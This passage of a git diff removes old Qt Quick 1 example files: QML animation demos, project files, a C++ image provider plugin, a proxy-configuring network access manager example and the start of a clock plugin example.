anchors.fill: parent - contentHeight: layout.height+50 - Rectangle { - id: titlePane - color: "#444444" - height: 35 - anchors { top: parent.top; left: parent.left; right: parent.right } - QuitButton { - id: quitButton - anchors.verticalCenter: parent.verticalCenter - anchors.right: parent.right - anchors.rightMargin: 10 - } - } - Column { - id: layout - anchors { top: titlePane.bottom; topMargin: 10; left: parent.left; right: parent.right } - Repeater { model: easingTypes; delegate: delegate } - } - } -} diff --git a/examples/declarative/qtquick1/animation/easing/easing.qmlproject b/examples/declarative/qtquick1/animation/easing/easing.qmlproject deleted file mode 100644 index 2120e51191..0000000000 --- a/examples/declarative/qtquick1/animation/easing/easing.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "easing.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/animation/states/qt-logo.png b/examples/declarative/qtquick1/animation/states/qt-logo.png deleted file mode 100644 index 14ddf2a028..0000000000 Binary files a/examples/declarative/qtquick1/animation/states/qt-logo.png and /dev/null differ diff --git a/examples/declarative/qtquick1/animation/states/states.qml b/examples/declarative/qtquick1/animation/states/states.qml deleted file mode 100644 index a6d3f228ae..0000000000 --- a/examples/declarative/qtquick1/animation/states/states.qml +++ /dev/null @@ -1,101 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - width: 640; height: 480 - color: "#343434" - - Image { - id: userIcon - x: topLeftRect.x; y: topLeftRect.y - source: "qt-logo.png" - } - - Rectangle { - id: topLeftRect - - anchors { left: parent.left; top: parent.top; leftMargin: 10; topMargin: 20 } - width: 46; height: 54 - color: "Transparent"; border.color: "Gray"; radius: 6 - - // Clicking in here sets the state to the default state, returning the image to - // its initial position - MouseArea { anchors.fill: parent; onClicked: page.state = '' } - } - - Rectangle { - id: middleRightRect - - anchors { right: parent.right; verticalCenter: parent.verticalCenter; rightMargin: 20 } - width: 46; height: 54 - color: "Transparent"; border.color: "Gray"; radius: 6 - - // Clicking in here sets the state to 'middleRight' - MouseArea { anchors.fill: parent; onClicked: page.state = 'middleRight' } - } - - Rectangle { - id: bottomLeftRect - - anchors { left: parent.left; bottom: parent.bottom; leftMargin: 10; bottomMargin: 20 } - width: 46; height: 54 - color: "Transparent"; border.color: "Gray"; radius: 6 - - // Clicking in here sets the state to 'bottomLeft' - MouseArea { anchors.fill: parent; onClicked: page.state = 'bottomLeft' } - } - - states: [ - // In state 'middleRight', move the image to middleRightRect - State { - name: "middleRight" - PropertyChanges { target: userIcon; x: middleRightRect.x; y: middleRightRect.y } - }, - - // In state 'bottomLeft', move the image to bottomLeftRect - State { - name: "bottomLeft" - PropertyChanges { target: userIcon; x: bottomLeftRect.x; y: bottomLeftRect.y } - } - ] -} diff --git a/examples/declarative/qtquick1/animation/states/states.qmlproject b/examples/declarative/qtquick1/animation/states/states.qmlproject deleted file mode 100644 index 019628e150..0000000000 --- a/examples/declarative/qtquick1/animation/states/states.qmlproject +++ /dev/null @@ -1,17 +0,0 @@ -import QmlProject 1.0 - -Project { - mainFile: "states.qml" - //mainFile: "transitions.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/animation/states/transitions.qml b/examples/declarative/qtquick1/animation/states/transitions.qml deleted file mode 100644 index 64aca412fc..0000000000 --- a/examples/declarative/qtquick1/animation/states/transitions.qml +++ /dev/null @@ -1,130 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -/* - This is exactly the same as states.qml, except that we have appended - a set of transitions to apply animations when the item changes - between each state. -*/ - -Rectangle { - id: page - width: 640; height: 480 - color: "#343434" - - Image { - id: userIcon - x: topLeftRect.x; y: topLeftRect.y - source: "qt-logo.png" - } - - Rectangle { - id: topLeftRect - - anchors { left: parent.left; top: parent.top; leftMargin: 10; topMargin: 20 } - width: 46; height: 54 - color: "Transparent"; border.color: "Gray"; radius: 6 - - // Clicking in here sets the state to the default state, returning the image to - // its initial position - MouseArea { anchors.fill: parent; onClicked: page.state = '' } - } - - Rectangle { - id: middleRightRect - - anchors { right: parent.right; verticalCenter: parent.verticalCenter; rightMargin: 20 } - width: 46; height: 54 - color: "Transparent"; border.color: "Gray"; radius: 6 - - // Clicking in here sets the state to 'middleRight' - MouseArea { anchors.fill: parent; onClicked: page.state = 'middleRight' } - } - - Rectangle { - id: bottomLeftRect - - anchors { left: parent.left; bottom: parent.bottom; leftMargin: 10; bottomMargin: 20 } - width: 46; height: 54 - color: "Transparent"; border.color: "Gray"; radius: 6 - - // Clicking in here sets the state to 'bottomLeft' - MouseArea { anchors.fill: parent; onClicked: page.state = 'bottomLeft' } - } - - states: [ - // In state 'middleRight', move the image to middleRightRect - State { - name: "middleRight" - PropertyChanges { target: userIcon; x: middleRightRect.x; y: middleRightRect.y } - }, - - // In state 'bottomLeft', move the image to bottomLeftRect - State { - name: "bottomLeft" - PropertyChanges { target: userIcon; x: bottomLeftRect.x; y: bottomLeftRect.y } - } - ] - - // Transitions define how the properties change when the item moves between each state - transitions: [ - - // When transitioning to 'middleRight' move x,y over a duration of 1 second, - // with OutBounce easing function. - Transition { - from: "*"; to: "middleRight" - NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce; duration: 1000 } - }, - - // When transitioning to 'bottomLeft' move x,y over a duration of 2 seconds, - // with InOutQuad easing function. - Transition { - from: "*"; to: "bottomLeft" - NumberAnimation { properties: "x,y"; easing.type: Easing.InOutQuad; duration: 2000 } - }, - - // For any other state changes move x,y linearly over duration of 200ms. - Transition { - NumberAnimation { properties: "x,y"; duration: 200 } - } - ] -} diff --git a/examples/declarative/qtquick1/cppextensions/cppextensions.pro b/examples/declarative/qtquick1/cppextensions/cppextensions.pro deleted file mode 100644 index 33762feb32..0000000000 --- a/examples/declarative/qtquick1/cppextensions/cppextensions.pro +++ /dev/null @@ -1,10 +0,0 @@ -TEMPLATE = subdirs - -SUBDIRS += \ - imageprovider \ - plugins \ - networkaccessmanagerfactory \ - qwidgets \ - qgraphicslayouts \ - referenceexamples - diff --git a/examples/declarative/qtquick1/cppextensions/cppextensions.qmlproject b/examples/declarative/qtquick1/cppextensions/cppextensions.qmlproject deleted file mode 100644 index 6b362842cb..0000000000 --- a/examples/declarative/qtquick1/cppextensions/cppextensions.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } - /* List of plugin directories passed to QML runtime */ - importPaths: [ "plugins" ] -} diff --git a/examples/declarative/qtquick1/cppextensions/imageprovider/ImageProviderCore/qmldir b/examples/declarative/qtquick1/cppextensions/imageprovider/ImageProviderCore/qmldir deleted file mode 100644 index 6be88bccec..0000000000 --- a/examples/declarative/qtquick1/cppextensions/imageprovider/ImageProviderCore/qmldir +++ /dev/null @@ -1,2 +0,0 @@ -plugin qmlimageproviderplugin - diff --git a/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider-example.qml b/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider-example.qml deleted file mode 100644 index f6c60e75f0..0000000000 --- a/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider-example.qml +++ /dev/null @@ -1,49 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 -import "ImageProviderCore" // import the plugin that registers the color image provider - -//![0] -Column { - Image { source: "image://colors/yellow" } - Image { source: "image://colors/red" } -} -//![0] - diff --git a/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider.cpp b/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider.cpp deleted file mode 100644 index 850722dc27..0000000000 --- a/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider.cpp +++ /dev/null @@ -1,110 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the demonstration applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - - -#include - -#include -#include -#include -#include -#include -#include -#include - -//![0] -class ColorImageProvider : public QDeclarativeImageProvider -{ -public: - ColorImageProvider() - : QDeclarativeImageProvider(QDeclarativeImageProvider::Pixmap) - { - } - - QPixmap requestPixmap(const QString &id, QSize *size, const QSize &requestedSize) - { - int width = 100; - int height = 50; - - if (size) - *size = QSize(width, height); - QPixmap pixmap(requestedSize.width() > 0 ? requestedSize.width() : width, - requestedSize.height() > 0 ? requestedSize.height() : height); - pixmap.fill(QColor(id).rgba()); -//![0] - - // write the color name - QPainter painter(&pixmap); - QFont f = painter.font(); - f.setPixelSize(20); - painter.setFont(f); - painter.setPen(Qt::black); - if (requestedSize.isValid()) - painter.scale(requestedSize.width() / width, requestedSize.height() / height); - painter.drawText(QRectF(0, 0, width, height), Qt::AlignCenter, id); - -//![1] - return pixmap; - } -}; -//![1] - - -class ImageProviderExtensionPlugin : public QDeclarativeExtensionPlugin -{ - Q_OBJECT -public: - void registerTypes(const char *uri) - { - Q_UNUSED(uri); - } - - void initializeEngine(QDeclarativeEngine *engine, const char *uri) - { - Q_UNUSED(uri); - engine->addImageProvider("colors", new ColorImageProvider); - } - -}; - -#include "imageprovider.moc" - -Q_EXPORT_PLUGIN(ImageProviderExtensionPlugin); - diff --git a/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider.pro b/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider.pro deleted file mode 100644 index 5595ac6f2c..0000000000 --- a/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider.pro +++ /dev/null @@ -1,19 +0,0 @@ -TEMPLATE = lib -CONFIG += qt plugin -QT += declarative qtquick1 - -DESTDIR = ImageProviderCore -TARGET = qmlimageproviderplugin - -SOURCES += imageprovider.cpp - -sources.files = $$SOURCES imageprovider.qml imageprovider.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/imageprovider - -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/imageprovider/ImageProviderCore - -ImageProviderCore_sources.files = \ - ImageProviderCore/qmldir -ImageProviderCore_sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/imageprovider/ImageProviderCore - -INSTALLS = sources ImageProviderCore_sources target diff --git a/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider.qmlproject b/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/cppextensions/imageprovider/imageprovider.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/main.cpp b/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/main.cpp deleted file mode 100644 index 7f359f6822..0000000000 --- a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/main.cpp +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the demonstration applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include - -#include -#include -#include - - -/* - This example illustrates using a QDeclarativeNetworkAccessManagerFactory to - create a QNetworkAccessManager with a proxy. - - Usage: - networkaccessmanagerfactory [-host -port ] [file] -*/ - -static QString proxyHost; -static int proxyPort = 0; - -class MyNetworkAccessManagerFactory : public QDeclarativeNetworkAccessManagerFactory -{ -public: - virtual QNetworkAccessManager *create(QObject *parent); -}; - -QNetworkAccessManager *MyNetworkAccessManagerFactory::create(QObject *parent) -{ - QNetworkAccessManager *nam = new QNetworkAccessManager(parent); - if (!proxyHost.isEmpty()) { - qDebug() << "Created QNetworkAccessManager using proxy" << (proxyHost + ":" + QString::number(proxyPort)); - QNetworkProxy proxy(QNetworkProxy::HttpCachingProxy, proxyHost, proxyPort); - nam->setProxy(proxy); - } - - return nam; -} - -int main(int argc, char ** argv) -{ - QUrl source("qrc:view.qml"); - - QApplication app(argc, argv); - - for (int i = 1; i < argc; ++i) { - QString arg(argv[i]); - if (arg == "-host" && i < argc-1) { - proxyHost = argv[++i]; - } else if (arg == "-port" && i < argc-1) { - arg = argv[++i]; - proxyPort = arg.toInt(); - } else if (arg[0] != '-') { - source = QUrl::fromLocalFile(arg); - } else { - qWarning() << "Usage: networkaccessmanagerfactory [-host -port ] [file]"; - exit(1); - } - } - - QDeclarativeView view; - view.engine()->setNetworkAccessManagerFactory(new MyNetworkAccessManagerFactory); - - view.setSource(source); - view.show(); - - return app.exec(); -} - diff --git a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.pro b/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.pro deleted file mode 100644 index 4eebdd2a2e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.pro +++ /dev/null @@ -1,9 +0,0 @@ -TEMPLATE = app -TARGET = networkaccessmanagerfactory -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative network qtquick1 - -# Input -SOURCES += main.cpp -RESOURCES += networkaccessmanagerfactory.qrc diff --git a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qmlproject b/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qrc b/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qrc deleted file mode 100644 index 17e9301471..0000000000 --- a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - view.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/view.qml b/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/view.qml deleted file mode 100644 index 92c5515350..0000000000 --- a/examples/declarative/qtquick1/cppextensions/networkaccessmanagerfactory/view.qml +++ /dev/null @@ -1,47 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Image { - width: 100 - height: 100 - source: "http://qt.nokia.com/logo.png" -} diff --git a/examples/declarative/qtquick1/cppextensions/plugins/README b/examples/declarative/qtquick1/cppextensions/plugins/README deleted file mode 100644 index 95e0eea849..0000000000 --- a/examples/declarative/qtquick1/cppextensions/plugins/README +++ /dev/null @@ -1,9 +0,0 @@ -This example shows a module "com.nokia.TimeExample" that is implemented -by a C++ plugin (providing the "Time" type), and by QML files (providing the -"Clock" type). - -To run: - - make install - qmlviewer -I . plugins.qml - diff --git a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/Clock.qml b/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/Clock.qml deleted file mode 100644 index eaf5e2b69b..0000000000 --- a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/Clock.qml +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: clock - width: 200; height: 200; color: "gray" - - property alias city: cityLabel.text - property variant hours - property variant minutes - property variant shift : 0 - - Image { id: background; source: "clock.png" } - - Image { - x: 92.5; y: 27 - source: "hour.png" - smooth: true - transform: Rotation { - id: hourRotation - origin.x: 7.5; origin.y: 73; - angle: (clock.hours * 30) + (clock.minutes * 0.5) - Behavior on angle { - SpringAnimation{ spring: 2; damping: 0.2; modulus: 360 } - } - } - } - - Image { - x: 93.5; y: 17 - source: "minute.png" - smooth: true - transform: Rotation { - id: minuteRotation - origin.x: 6.5; origin.y: 83; - angle: clock.minutes * 6 - Behavior on angle { - SpringAnimation{ spring: 2; damping: 0.2; modulus: 360 } - } - } - } - - Image { - anchors.centerIn: background; source: "center.png" - } - - Text { - id: cityLabel; font.bold: true; font.pixelSize: 14; y:200; color: "white" - anchors.horizontalCenter: parent.horizontalCenter - } -} diff --git a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/center.png b/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/center.png deleted file mode 100644 index 7fbd802a44..0000000000 Binary files a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/center.png and /dev/null differ diff --git a/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/clock.png b/examples/declarative/qtquick1/cppextensions/plugins/com/nokia/TimeExample/clock.png deleted file mode 100644 index 462edacc0e..0000000000 Binary files 